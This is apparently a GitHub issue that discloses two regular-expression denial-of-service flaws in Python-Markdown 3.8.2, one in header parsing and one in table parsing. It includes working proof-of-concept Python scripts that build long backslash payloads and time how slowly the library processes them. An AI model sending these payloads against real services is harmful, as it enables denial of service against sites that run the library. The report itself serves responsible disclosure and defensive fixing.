Skip to content

Markdown ReDoS bugs 3.8.2 #1545

@wadesparks

Description

@wadesparks

Affected Code
https://github.com/Python-Markdown/markdown (pypi: https://pypi.org/project/Markdown/)

Issue
The vulnerabilities identified in the provided code snippet is a type of Regular Expression Denial of Service (ReDoS) attack. This issue arises when a piece of code utilizes regular expressions (regex) in a way that can be exploited to cause a significantly long processing time.

Impact
Resource exhaustion, leading to denial of service

Tested Version
3.8.2 (latest)

Credit
Sajeeb Lohani (Bugcrowd Security Innovation Lab)

Proof of Concept
There are actually two vulnerabilities here, so I believe there should be two CVEs.

# redos_utils.py
import time

def timer(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        elapsed_time = end_time - start_time
        print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
        return result

    return wrapper

def sizer(func):
    def wrapper(*args, **kwargs):
        result = func(*args, **kwargs)
        print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
        return result

    return wrapper
# exploit_hash_header.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in HashHeaderProcessor
    # Pattern: (?:^|\n)(?P<level>#{1,6})(?P<header>(?:\\.|[^\\])*?)#*(?:\n|$)
    # The vulnerable part is (?:\\.|[^\\])*? - many backslashes followed by a non-matching character
    return "#" + "\\" * char_length + "X"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown()
    md.convert(payload)


if __name__ == '__main__':
    print("Testing HashHeaderProcessor ReDOS vulnerability...")
    print("Pattern: (?:^|\\n)(?P<level>#{1,6})(?P<header>(?:\\\\.|[^\\\\])*?)#*(?:\\n|$)")
    print("Location: markdown/blockprocessors.py:461")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    redos_poc_runner(50000)
    print()
    print("Final demonstration with 75000 characters (>2s delay):")
    redos_poc_runner(75000)
# exploit_table.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in TableProcessor
    # Pattern: (?<!\\)(?:\\)*\|$
    # The vulnerable part is (?:\\)* - many escaped backslashes
    return "\\" * char_length + "|"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown(extensions=['tables'])
    md.convert(payload)


if __name__ == '__main__':
    print("Testing TableProcessor ReDOS vulnerability...")
    print("Pattern: (?<!\\\\)(?:\\\\)*\\|$")
    print("Location: markdown/extensions/tables.py:42")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    print()
    print("Final demonstration with 35000 characters (>2s delay):")
    redos_poc_runner(35000)

Metadata

Metadata

Assignees

No one assigned

    Labels

    needs-confirmationThe alleged behavior needs to be confirmed.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions